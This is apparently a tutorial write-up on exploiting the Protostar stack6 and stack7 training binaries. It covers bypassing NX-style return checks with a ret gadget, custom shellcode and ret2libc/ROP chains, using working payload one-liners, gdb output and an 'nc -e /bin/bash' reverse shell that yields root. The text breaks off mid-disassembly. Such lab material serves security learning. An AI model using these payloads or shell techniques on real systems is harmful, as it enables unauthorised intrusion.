So far, all of our exploits have included shellcode, on most (if not all) modern systems it isn't possible to just run shellcode like this because of NX.
NX disallows running code in certain memory segments, primarily memory segments that contain variable data, like the stack and heap.
A number of techniques were created to beat NX and I want to demostrate 2 of them here, return to libc (Ret2Libc) and return-oriented programming (ROP).
This will be slightly different to my previous posts as I will not be hacking an application that I wrote but instead taking on 2 challenges from the protostar section of exploit exercises.
The challenges that we will look at here are stack6 and stack7.
While these challenges have both NX and ASLR disabled they both implement their own protection which disables the straight running of shellcode.
Stack6: The App
So if you look at the webpage for stack6, it actually gives you the source code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31 | #include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
void getpath()
{
char buffer[64];
unsigned int ret;
printf("input path please: "); fflush(stdout);
gets(buffer);
ret = __builtin_return_address(0);
if((ret & 0xbf000000) == 0xbf000000) {
printf("bzzzt (%p)\n", ret);
_exit(1);
}
printf("got path %s\n", buffer);
}
int main(int argc, char **argv)
{
getpath();
}
|
The buffer overflow is on line 13, the application then gets the function return address on line 15 and checks it on line 17.
If the return address begins with bf
the application exits, stack addresses normally begin with bf
so you cannot just overwrite it with an address on the stack.
One other thing to notice here is that the vulnerable line is using the gets
function, this function will only stop once it reaches a newline (\n) or end of file (EOF) character so we do not need to avoid null (\0) characters.
Stack6: The Easy Way
While I've written this post to demonstrate Ret2Libc and ROP we can get our shellcode to run on these 2 challenges using the exact same method which I'll explain quickly here.
So our buffer is 64 bytes long, we have the local variable ret
which is 4 bytes, then we have the saved EBP from main's stack frame and finally the return address, its worth noting that the stack has to be 16 byte aligned so 8 will need to be added before you get to the return address. So we need to write 64+4+4+8 = 80
bytes before we overwrite the return address and hijack EIP.
Lets test this:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24 | $ bash
user@protostar:~$ cd /opt/protostar/bin/
user@protostar:/opt/protostar/bin$ python -c 'print "A"*80' > /tmp/t
user@protostar:/opt/protostar/bin$ python -c 'print "A"*84' > /tmp/t2
user@protostar:/opt/protostar/bin$ gdb -q ./stack6
Reading symbols from /opt/protostar/bin/stack6...done.
(gdb) r < /tmp/t
Starting program: /opt/protostar/bin/stack6 < /tmp/t
input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�AAAAAAAAAAAA� �
Program received signal SIGSEGV, Segmentation fault.
0x08048507 in main (argc=Cannot access memory at address 0x41414149
) at stack6/stack6.c:31
31 stack6/stack6.c: No such file or directory.
in stack6/stack6.c
(gdb) r < /tmp/t2
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /opt/protostar/bin/stack6 < /tmp/t2
input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
|
So we were correct, we can now test what happens if we write an address beginning with bf
:
| user@protostar:/opt/protostar/bin$ python -c 'print "A"*80 + "\x00\x00\x00\xbf"' | ./stack6
input path please: bzzzt (0xbf000000)
|
As you can see we've hit the printf
inside the if
statement and exited without seg faulting.
If there was a jmp esp
or ff e4
in the application code we could use the same method we used in the beating ASLR post but that isn't the case here.
We can still run our shellcode though using a slightly more complex method, the application is only checking the return address of the current function (note the argument to the __builtin_return_address
function call), so we just need to make sure that this address doesn't start with bf
.
We'll do this by using 1 ROP "gadget", let's first find the address of our gadget:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276 | user@protostar:/opt/protostar/bin$ objdump -d ./stack6 -M intel
./stack6: file format elf32-i386
Disassembly of section .init:
08048330 <_init>:
8048330: 55 push ebp
8048331: 89 e5 mov ebp,esp
8048333: 53 push ebx
8048334: 83 ec 04 sub esp,0x4
8048337: e8 00 00 00 00 call 804833c <_init+0xc>
804833c: 5b pop ebx
804833d: 81 c3 b0 13 00 00 add ebx,0x13b0
8048343: 8b 93 fc ff ff ff mov edx,DWORD PTR [ebx-0x4]
8048349: 85 d2 test edx,edx
804834b: 74 05 je 8048352 <_init+0x22>
804834d: e8 1e 00 00 00 call 8048370 <__gmon_start__@plt>
8048352: e8 09 01 00 00 call 8048460 <frame_dummy>
8048357: e8 24 02 00 00 call 8048580 <__do_global_ctors_aux>
804835c: 58 pop eax
804835d: 5b pop ebx
804835e: c9 leave
804835f: c3 ret
Disassembly of section .plt:
08048360 <__gmon_start__@plt-0x10>:
8048360: ff 35 f0 96 04 08 push DWORD PTR ds:0x80496f0
8048366: ff 25 f4 96 04 08 jmp DWORD PTR ds:0x80496f4
804836c: 00 00 add BYTE PTR [eax],al
...
08048370 <__gmon_start__@plt>:
8048370: ff 25 f8 96 04 08 jmp DWORD PTR ds:0x80496f8
8048376: 68 00 00 00 00 push 0x0
804837b: e9 e0 ff ff ff jmp 8048360 <_init+0x30>
08048380 <gets@plt>:
8048380: ff 25 fc 96 04 08 jmp DWORD PTR ds:0x80496fc
8048386: 68 08 00 00 00 push 0x8
804838b: e9 d0 ff ff ff jmp 8048360 <_init+0x30>
08048390 <__libc_start_main@plt>:
8048390: ff 25 00 97 04 08 jmp DWORD PTR ds:0x8049700
8048396: 68 10 00 00 00 push 0x10
804839b: e9 c0 ff ff ff jmp 8048360 <_init+0x30>
080483a0 <_exit@plt>:
80483a0: ff 25 04 97 04 08 jmp DWORD PTR ds:0x8049704
80483a6: 68 18 00 00 00 push 0x18
80483ab: e9 b0 ff ff ff jmp 8048360 <_init+0x30>
080483b0 <fflush@plt>:
80483b0: ff 25 08 97 04 08 jmp DWORD PTR ds:0x8049708
80483b6: 68 20 00 00 00 push 0x20
80483bb: e9 a0 ff ff ff jmp 8048360 <_init+0x30>
080483c0 <printf@plt>:
80483c0: ff 25 0c 97 04 08 jmp DWORD PTR ds:0x804970c
80483c6: 68 28 00 00 00 push 0x28
80483cb: e9 90 ff ff ff jmp 8048360 <_init+0x30>
Disassembly of section .text:
080483d0 <_start>:
80483d0: 31 ed xor ebp,ebp
80483d2: 5e pop esi
80483d3: 89 e1 mov ecx,esp
80483d5: 83 e4 f0 and esp,0xfffffff0
80483d8: 50 push eax
80483d9: 54 push esp
80483da: 52 push edx
80483db: 68 10 85 04 08 push 0x8048510
80483e0: 68 20 85 04 08 push 0x8048520
80483e5: 51 push ecx
80483e6: 56 push esi
80483e7: 68 fa 84 04 08 push 0x80484fa
80483ec: e8 9f ff ff ff call 8048390 <__libc_start_main@plt>
80483f1: f4 hlt
80483f2: 90 nop
80483f3: 90 nop
80483f4: 90 nop
80483f5: 90 nop
80483f6: 90 nop
80483f7: 90 nop
80483f8: 90 nop
80483f9: 90 nop
80483fa: 90 nop
80483fb: 90 nop
80483fc: 90 nop
80483fd: 90 nop
80483fe: 90 nop
80483ff: 90 nop
08048400 <__do_global_dtors_aux>:
8048400: 55 push ebp
8048401: 89 e5 mov ebp,esp
8048403: 53 push ebx
8048404: 83 ec 04 sub esp,0x4
8048407: 80 3d 24 97 04 08 00 cmp BYTE PTR ds:0x8049724,0x0
804840e: 75 3f jne 804844f <__do_global_dtors_aux+0x4f>
8048410: a1 28 97 04 08 mov eax,ds:0x8049728
8048415: bb 10 96 04 08 mov ebx,0x8049610
804841a: 81 eb 0c 96 04 08 sub ebx,0x804960c
8048420: c1 fb 02 sar ebx,0x2
8048423: 83 eb 01 sub ebx,0x1
8048426: 39 d8 cmp eax,ebx
8048428: 73 1e jae 8048448 <__do_global_dtors_aux+0x48>
804842a: 8d b6 00 00 00 00 lea esi,[esi+0x0]
8048430: 83 c0 01 add eax,0x1
8048433: a3 28 97 04 08 mov ds:0x8049728,eax
8048438: ff 14 85 0c 96 04 08 call DWORD PTR [eax*4+0x804960c]
804843f: a1 28 97 04 08 mov eax,ds:0x8049728
8048444: 39 d8 cmp eax,ebx
8048446: 72 e8 jb 8048430 <__do_global_dtors_aux+0x30>
8048448: c6 05 24 97 04 08 01 mov BYTE PTR ds:0x8049724,0x1
804844f: 83 c4 04 add esp,0x4
8048452: 5b pop ebx
8048453: 5d pop ebp
8048454: c3 ret
8048455: 8d 74 26 00 lea esi,[esi+eiz*1+0x0]
8048459: 8d bc 27 00 00 00 00 lea edi,[edi+eiz*1+0x0]
08048460 <frame_dummy>:
8048460: 55 push ebp
8048461: 89 e5 mov ebp,esp
8048463: 83 ec 18 sub esp,0x18
8048466: a1 14 96 04 08 mov eax,ds:0x8049614
804846b: 85 c0 test eax,eax
804846d: 74 12 je 8048481 <frame_dummy+0x21>
804846f: b8 00 00 00 00 mov eax,0x0
8048474: 85 c0 test eax,eax
8048476: 74 09 je 8048481 <frame_dummy+0x21>
8048478: c7 04 24 14 96 04 08 mov DWORD PTR [esp],0x8049614
804847f: ff d0 call eax
8048481: c9 leave
8048482: c3 ret
8048483: 90 nop
08048484 <getpath>:
8048484: 55 push ebp
8048485: 89 e5 mov ebp,esp
8048487: 83 ec 68 sub esp,0x68
804848a: b8 d0 85 04 08 mov eax,0x80485d0
804848f: 89 04 24 mov DWORD PTR [esp],eax
8048492: e8 29 ff ff ff call 80483c0 <printf@plt>
8048497: a1 20 97 04 08 mov eax,ds:0x8049720
804849c: 89 04 24 mov DWORD PTR [esp],eax
804849f: e8 0c ff ff ff call 80483b0 <fflush@plt>
80484a4: 8d 45 b4 lea eax,[ebp-0x4c]
80484a7: 89 04 24 mov DWORD PTR [esp],eax
80484aa: e8 d1 fe ff ff call 8048380 <gets@plt>
80484af: 8b 45 04 mov eax,DWORD PTR [ebp+0x4]
80484b2: 89 45 f4 mov DWORD PTR [ebp-0xc],eax
80484b5: 8b 45 f4 mov eax,DWORD PTR [ebp-0xc]
80484b8: 25 00 00 00 bf and eax,0xbf000000
80484bd: 3d 00 00 00 bf cmp eax,0xbf000000
80484c2: 75 20 jne 80484e4 <getpath+0x60>
80484c4: b8 e4 85 04 08 mov eax,0x80485e4
80484c9: 8b 55 f4 mov edx,DWORD PTR [ebp-0xc]
80484cc: 89 54 24 04 mov DWORD PTR [esp+0x4],edx
80484d0: 89 04 24 mov DWORD PTR [esp],eax
80484d3: e8 e8 fe ff ff call 80483c0 <printf@plt>
80484d8: c7 04 24 01 00 00 00 mov DWORD PTR [esp],0x1
80484df: e8 bc fe ff ff call 80483a0 <_exit@plt>
80484e4: b8 f0 85 04 08 mov eax,0x80485f0
80484e9: 8d 55 b4 lea edx,[ebp-0x4c]
80484ec: 89 54 24 04 mov DWORD PTR [esp+0x4],edx
80484f0: 89 04 24 mov DWORD PTR [esp],eax
80484f3: e8 c8 fe ff ff call 80483c0 <printf@plt>
80484f8: c9 leave
80484f9: c3 ret
080484fa <main>:
80484fa: 55 push ebp
80484fb: 89 e5 mov ebp,esp
80484fd: 83 e4 f0 and esp,0xfffffff0
8048500: e8 7f ff ff ff call 8048484 <getpath>
8048505: 89 ec mov esp,ebp
8048507: 5d pop ebp
8048508: c3 ret
8048509: 90 nop
804850a: 90 nop
804850b: 90 nop
804850c: 90 nop
804850d: 90 nop
804850e: 90 nop
804850f: 90 nop
08048510 <__libc_csu_fini>:
8048510: 55 push ebp
8048511: 89 e5 mov ebp,esp
8048513: 5d pop ebp
8048514: c3 ret
8048515: 8d 74 26 00 lea esi,[esi+eiz*1+0x0]
8048519: 8d bc 27 00 00 00 00 lea edi,[edi+eiz*1+0x0]
08048520 <__libc_csu_init>:
8048520: 55 push ebp
8048521: 89 e5 mov ebp,esp
8048523: 57 push edi
8048524: 56 push esi
8048525: 53 push ebx
8048526: e8 4f 00 00 00 call 804857a <__i686.get_pc_thunk.bx>
804852b: 81 c3 c1 11 00 00 add ebx,0x11c1
8048531: 83 ec 1c sub esp,0x1c
8048534: e8 f7 fd ff ff call 8048330 <_init>
8048539: 8d bb 18 ff ff ff lea edi,[ebx-0xe8]
804853f: 8d 83 18 ff ff ff lea eax,[ebx-0xe8]
8048545: 29 c7 sub edi,eax
8048547: c1 ff 02 sar edi,0x2
804854a: 85 ff test edi,edi
804854c: 74 24 je 8048572 <__libc_csu_init+0x52>
804854e: 31 f6 xor esi,esi
8048550: 8b 45 10 mov eax,DWORD PTR [ebp+0x10]
8048553: 89 44 24 08 mov DWORD PTR [esp+0x8],eax
8048557: 8b 45 0c mov eax,DWORD PTR [ebp+0xc]
804855a: 89 44 24 04 mov DWORD PTR [esp+0x4],eax
804855e: 8b 45 08 mov eax,DWORD PTR [ebp+0x8]
8048561: 89 04 24 mov DWORD PTR [esp],eax
8048564: ff 94 b3 18 ff ff ff call DWORD PTR [ebx+esi*4-0xe8]
804856b: 83 c6 01 add esi,0x1
804856e: 39 fe cmp esi,edi
8048570: 72 de jb 8048550 <__libc_csu_init+0x30>
8048572: 83 c4 1c add esp,0x1c
8048575: 5b pop ebx
8048576: 5e pop esi
8048577: 5f pop edi
8048578: 5d pop ebp
8048579: c3 ret
0804857a <__i686.get_pc_thunk.bx>:
804857a: 8b 1c 24 mov ebx,DWORD PTR [esp]
804857d: c3 ret
804857e: 90 nop
804857f: 90 nop
08048580 <__do_global_ctors_aux>:
8048580: 55 push ebp
8048581: 89 e5 mov ebp,esp
8048583: 53 push ebx
8048584: 83 ec 04 sub esp,0x4
8048587: a1 04 96 04 08 mov eax,ds:0x8049604
804858c: 83 f8 ff cmp eax,0xffffffff
804858f: 74 13 je 80485a4 <__do_global_ctors_aux+0x24>
8048591: bb 04 96 04 08 mov ebx,0x8049604
8048596: 66 90 xchg ax,ax
8048598: 83 eb 04 sub ebx,0x4
804859b: ff d0 call eax
804859d: 8b 03 mov eax,DWORD PTR [ebx]
804859f: 83 f8 ff cmp eax,0xffffffff
80485a2: 75 f4 jne 8048598 <__do_global_ctors_aux+0x18>
80485a4: 83 c4 04 add esp,0x4
80485a7: 5b pop ebx
80485a8: 5d pop ebp
80485a9: c3 ret
80485aa: 90 nop
80485ab: 90 nop
Disassembly of section .fini:
080485ac <_fini>:
80485ac: 55 push ebp
80485ad: 89 e5 mov ebp,esp
80485af: 53 push ebx
80485b0: 83 ec 04 sub esp,0x4
80485b3: e8 00 00 00 00 call 80485b8 <_fini+0xc>
80485b8: 5b pop ebx
80485b9: 81 c3 34 11 00 00 add ebx,0x1134
80485bf: e8 3c fe ff ff call 8048400 <__do_global_dtors_aux>
80485c4: 59 pop ecx
80485c5: 5b pop ebx
80485c6: c9 leave
80485c7: c3 ret
|
All we're looking for here is a ret
instruction, there are a few, we'll use the 1 on line 258, the address of this is 80485a9
so this will be our return address.
After the return address we insert some junk data (4 bytes) and then we will put the address of our shellcode.
First let's find the address that our shellcode will be at, this needs to be done in 2 terminals:
| user@protostar:/opt/protostar/bin$ ./stack6
input path please:
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57 | root@protostar:/# ps ax | grep stack6
2221 pts/0 S+ 0:00 ./stack6
2268 pts/1 S+ 0:00 grep stack6
root@protostar:/# gdb -q -p 2221
Attaching to process 2221
Reading symbols from /opt/protostar/bin/stack6...done.
Reading symbols from /lib/libc.so.6...Reading symbols from /usr/lib/debug/lib/libc-2.11.2.so...done.
(no debugging symbols found)...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld-linux.so.2...Reading symbols from /usr/lib/debug/lib/ld-2.11.2.so...done.
(no debugging symbols found)...done.
Loaded symbols for /lib/ld-linux.so.2
0xb7f53c1e in __read_nocancel () at ../sysdeps/unix/syscall-template.S:82
82 ../sysdeps/unix/syscall-template.S: No such file or directory.
in ../sysdeps/unix/syscall-template.S
(gdb) set disassembly-flavor intel
Current language: auto
The current source language is "auto; currently asm".
(gdb) disassemble getpath
Dump of assembler code for function getpath:
0x08048484 <getpath+0>: push ebp
0x08048485 <getpath+1>: mov ebp,esp
0x08048487 <getpath+3>: sub esp,0x68
0x0804848a <getpath+6>: mov eax,0x80485d0
0x0804848f <getpath+11>: mov DWORD PTR [esp],eax
0x08048492 <getpath+14>: call 0x80483c0 <printf@plt>
0x08048497 <getpath+19>: mov eax,ds:0x8049720
0x0804849c <getpath+24>: mov DWORD PTR [esp],eax
0x0804849f <getpath+27>: call 0x80483b0 <fflush@plt>
0x080484a4 <getpath+32>: lea eax,[ebp-0x4c]
0x080484a7 <getpath+35>: mov DWORD PTR [esp],eax
0x080484aa <getpath+38>: call 0x8048380 <gets@plt>
0x080484af <getpath+43>: mov eax,DWORD PTR [ebp+0x4]
0x080484b2 <getpath+46>: mov DWORD PTR [ebp-0xc],eax
0x080484b5 <getpath+49>: mov eax,DWORD PTR [ebp-0xc]
0x080484b8 <getpath+52>: and eax,0xbf000000
0x080484bd <getpath+57>: cmp eax,0xbf000000
0x080484c2 <getpath+62>: jne 0x80484e4 <getpath+96>
0x080484c4 <getpath+64>: mov eax,0x80485e4
0x080484c9 <getpath+69>: mov edx,DWORD PTR [ebp-0xc]
0x080484cc <getpath+72>: mov DWORD PTR [esp+0x4],edx
0x080484d0 <getpath+76>: mov DWORD PTR [esp],eax
0x080484d3 <getpath+79>: call 0x80483c0 <printf@plt>
0x080484d8 <getpath+84>: mov DWORD PTR [esp],0x1
0x080484df <getpath+91>: call 0x80483a0 <_exit@plt>
0x080484e4 <getpath+96>: mov eax,0x80485f0
0x080484e9 <getpath+101>: lea edx,[ebp-0x4c]
0x080484ec <getpath+104>: mov DWORD PTR [esp+0x4],edx
0x080484f0 <getpath+108>: mov DWORD PTR [esp],eax
0x080484f3 <getpath+111>: call 0x80483c0 <printf@plt>
0x080484f8 <getpath+116>: leave
0x080484f9 <getpath+117>: ret
End of assembler dump.
(gdb) break *0x080484af
Breakpoint 1 at 0x80484af: file stack6/stack6.c, line 15.
(gdb) c
Continuing.
|
| Breakpoint 1, getpath () at stack6/stack6.c:15
15 stack6/stack6.c: No such file or directory.
in stack6/stack6.c
Current language: auto
The current source language is "auto; currently c".
(gdb) x/20xw $esp
0xbffff770: 0xbffff78c 0x00000000 0xb7fe1b28 0x00000001
0xbffff780: 0x00000000 0x00000001 0xb7fff8f8 0x41414141
0xbffff790: 0x41414141 0x41414141 0xbffff700 0xb7eada75
0xbffff7a0: 0xb7fd7ff4 0x080496ec 0xbffff7b8 0x0804835c
0xbffff7b0: 0xb7ff1040 0x080496ec 0xbffff7e8 0x08048539
|
This means our payload will start at 0xbffff780+0xc = 0xbffff78c
.
For this challenge I will put the shellcode at the end of the payload, we know the starting address of our payload and how many bytes until the shellcode so our shellcode will be at 0xbffff78c+0x58 = 0xbffff7e4
.
I first tried with a normal shellcode that I had written but it didn't work:
| user@protostar:/opt/protostar/bin$ python -c 'print "A"*80 + "\xa9\x85\x04\x08" + "\xe4\xf7\xff\xbf" + "\xeb\x25\x31\xc0\xb0\x17\x31\xdb\xcd\x80\x89\xd8\x5b\x88\x43\x09\xb0\x0b\x31\xd2\xb2\x09\x42\x89\x1c\x13\x31\xc9\x89\x4b\x0e\x8d\x0c\x13\x8d\x53\x0e\xcd\x80\xe8\xd6\xff\xff\xff\x2f\x62\x69\x6e\x2f\x62\x61\x73\x68\x41\x42\x42\x42\x42\x43\x43\x43\x43"' | ./stack6
input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA��AAAAAAAAAAAA�������%1�̀��[�C �
1Ҳ B�1ɉK�
�S̀�����/bin/bashABBBBCCCC
user@protostar:/opt/protostar/bin$
|
So it launched... Don't know what happened here, after some investigation I decided that it did actually run /bin/bash
but exited straight away.
After some thinking I decide that I'm going to get execve
to run bash
and that to run nc
to execute a shell, there are plenty of ways to get a shell in this situation, creating a script and running that, running nc
directly..., this was just the first 1 that come to mind for me.
nc
or netcat is a handy networking tool that can be used for a number of things, here we will use it to execute a shell.
So I rewrote the shellcode, started nc
listening on port 9000 in 1 terminal:
| user@protostar:~$ nc -l -p 9000
|
And then launched the exploit with the new shellcode:
| user@protostar:/opt/protostar/bin$ python -c 'print "A"*80 + "\xa9\x85\x04\x08" + "\xe4\xf7\xff\xbf" + "\xeb\x37\x31\xc0\xb0\x17\x31\xdb\xcd\x80\x89\xd8\x5b\x88\x43\x09\x88\x43\x0c\x88\x43\x2b\xb0\x0b\x31\xd2\xb2\x09\x42\x89\x5b\x2c\x8d\x0c\x13\x89\x4b\x30\x8d\x4b\x0d\x89\x4b\x34\x31\xc9\x89\x4b\x38\x8d\x4b\x2c\x8d\x53\x34\xcd\x80\xe8\xc4\xff\xff\xff\x2f\x62\x69\x6e\x2f\x62\x61\x73\x68\x41\x2d\x63\x42\x6e\x63\x20\x2d\x65\x20\x2f\x62\x69\x6e\x2f\x62\x61\x73\x68\x20\x31\x32\x37\x2e\x30\x2e\x30\x2e\x31\x20\x39\x30\x30\x30\x43\x44\x44\x44\x44\x45\x45\x45\x45\x46\x46\x46\x46\x47\x47\x47\x47"' | ./stack6
input path please: got path 1�̀��[�C �C
�C+�
1ҲB�[,�
�K41ɉK8�K,�S4̀�����/bin/bashA-cBnc -e /bin/bash 127.0.0.1 9000CDDDDEEEEFFFFGGGG
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28 | ls
final0
final1
final2
format0
format1
format2
format3
format4
heap0
heap1
heap2
heap3
net0
net1
net2
net3
net4
stack0
stack1
stack2
stack3
stack4
stack5
stack6
stack7
whoami
root
|
So, we can still run our shellcode, we just have an extra step to bypass the check that is done on the return address.
Stack6: Ret2Libc and ROP
Here we will recreate the exact same exploit for the same application but without using any shellcode.
First its easiest if we create what we want to run in C first:
| setuid(0);
execve("/bin/bash", { "/bin/bash", "-c", "nc -e /bin/bash 127.0.0.1 9000" }, NULL);
|
So we need to find the addresses of both setuid
and execve
, we use gdb
for this:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24 | user@protostar:/opt/protostar/bin$ gdb -q ./stack6
Reading symbols from /opt/protostar/bin/stack6...done.
(gdb) disassemble main
Dump of assembler code for function main:
0x080484fa <main+0>: push %ebp
0x080484fb <main+1>: mov %esp,%ebp
0x080484fd <main+3>: and $0xfffffff0,%esp
0x08048500 <main+6>: call 0x8048484 <getpath>
0x08048505 <main+11>: mov %ebp,%esp
0x08048507 <main+13>: pop %ebp
0x08048508 <main+14>: ret
End of assembler dump.
(gdb) break *0x080484fa
Breakpoint 1 at 0x80484fa: file stack6/stack6.c, line 26.
(gdb) r
Starting program: /opt/protostar/bin/stack6
Breakpoint 1, main (argc=1, argv=0xbffff864) at stack6/stack6.c:26
26 stack6/stack6.c: No such file or directory.
in stack6/stack6.c
(gdb) print setuid
$1 = {<text variable, no debug info>} 0xb7f2ec80 <__setuid>
(gdb) print execve
$2 = {<text variable, no debug info>} 0xb7f2e170 <__execve>
|
As you can see, the address of setuid doesn't start with bf
so we can use this as our initial return address.
We now want to address of our ROP gadget, this will just be responsible for cleaning up the stack after the call to setuid, so this time we want a pop [register], ret
sequence of instructions.
Again we can use objdump
to find this, I won't post another dump of the binary but there are many of these sequencies we can use, I'll use the one at 0x80485a8
.
We can put our strings in to variables but this time, because we can insert null bytes (\0), I will put the strings at the start of the payload.
The number of bytes that the strings will occupy is:
| user@protostar:/opt/protostar/bin$ echo -n "/bin/bash -c nc -e /bin/bash 127.0.0.1 9000 " | wc -c
44
|
We know we have 80 bytes before we overwrite the return address, so we need 80-44 = 36
bytes of padding after our strings.
So here is how we want the stack to look after we overflow it:
We have all of these addresses except 11, 12, 14 and 15. Let's work these out now.
First 14 is just 10 bytes away from the start of our payload, and we already know the start of our payload is 0xbffff78c
from the last exploit, so 0xbffff78c+0xa = 0xbffff796
.
15 is just 3 bytes from 13 so 0xbffff796+0x3 = 0xbffff799
.
11 is the start of our payload plus 80 bytes, then plus 8*4 = 32
(there are 8 addresses before the argument list starts, each 4 bytes long), so 0xbffff78c+0x50+0x20 = 0xbffff7fc
.
12 is just 3*4 = 12
bytes away from 10 (because there are 3 4 byte addresses before the null pointer), so 0xbffff7fc+0xc = 0xbffff808
.
So with all of this information our stack should look like this:
Obviously all of the addresses have to be put in in little endian format.
Now we can test this, first start our listener:
| user@protostar:~$ nc -l -p 9000
|
| user@protostar:/opt/protostar/bin$ python -c 'print "/bin/bash\x00-c\x00nc -e /bin/bash 127.0.0.1 9000\x00" + "A" * 36 + "\x80\xec\xf2\xb7" + "\xa8\x85\x04\x08" + "\x00\x00\x00\x00" + "\x70\xe1\xf2\xb7" + "JUNK" + "\x8c\xf7\xff\xbf" + "\xfc\xf7\xff\xbf" + "\x08\xf8\xff\xbf" + "\x8c\xf7\xff\xbf" + "\x96\xf7\xff\xbf" + "\x99\xf7\xff\xbf" + "\x00\x00\x00\x00"' | ./stack6
input path please: got path /bin/bash
|
| pwd
/opt/protostar/bin
whoami
root
|
Solved!
Stack7: The App
This challenge is very similar to the previous 1 except the return address is not allowed to begin with b
instead of bf
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32 | #include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
char *getpath()
{
char buffer[64];
unsigned int ret;
printf("input path please: "); fflush(stdout);
gets(buffer);
ret = __builtin_return_address(0);
if((ret & 0xb0000000) == 0xb0000000) {
printf("bzzzt (%p)\n", ret);
_exit(1);
}
printf("got path %s\n", buffer);
return strdup(buffer);
}
int main(int argc, char **argv)
{
getpath();
}
|
Stack7: Exploitation
We could use exactly the same method as the last 1 and just put a pointer to a ret
instruction before the call to setuid
but I want to show a different way to do it.
I'm going to use system
instead of execve
and put my string into an environment variable.
First let's find the addresses of setuid
and system
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25 | user@protostar:/opt/protostar/bin$ gdb -q ./stack7
Reading symbols from /opt/protostar/bin/stack7...done.
(gdb) set disassembly-flavor intel
(gdb) disassemble main
Dump of assembler code for function main:
0x08048545 <main+0>: push ebp
0x08048546 <main+1>: mov ebp,esp
0x08048548 <main+3>: and esp,0xfffffff0
0x0804854b <main+6>: call 0x80484c4 <getpath>
0x08048550 <main+11>: mov esp,ebp
0x08048552 <main+13>: pop ebp
0x08048553 <main+14>: ret
End of assembler dump.
(gdb) break *0x08048545
Breakpoint 1 at 0x8048545: file stack7/stack7.c, line 27.
(gdb) r
Starting program: /opt/protostar/bin/stack7
Breakpoint 1, main (argc=1, argv=0xbffff864) at stack7/stack7.c:27
27 stack7/stack7.c: No such file or directory.
in stack7/stack7.c
(gdb) print setuid
$1 = {<text variable, no debug info>} 0xb7f2ec80 <__setuid>
(gdb) print system
$2 = {<text variable, no debug info>} 0xb7ecffb0 <__libc_system>
|
Now we need to find the addresses of our ROP gadgets, the first being just a ret
instruction and the second being a pop [register], ret
sequence to remove the argument to setuid
before running system
, although these gadgets will be 1 byte away from each other:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289 | user@protostar:/opt/protostar/bin$ objdump -d ./stack7 -M intel
./stack7: file format elf32-i386
Disassembly of section .init:
08048354 <_init>:
8048354: 55 push ebp
8048355: 89 e5 mov ebp,esp
8048357: 53 push ebx
8048358: 83 ec 04 sub esp,0x4
804835b: e8 00 00 00 00 call 8048360 <_init+0xc>
8048360: 5b pop ebx
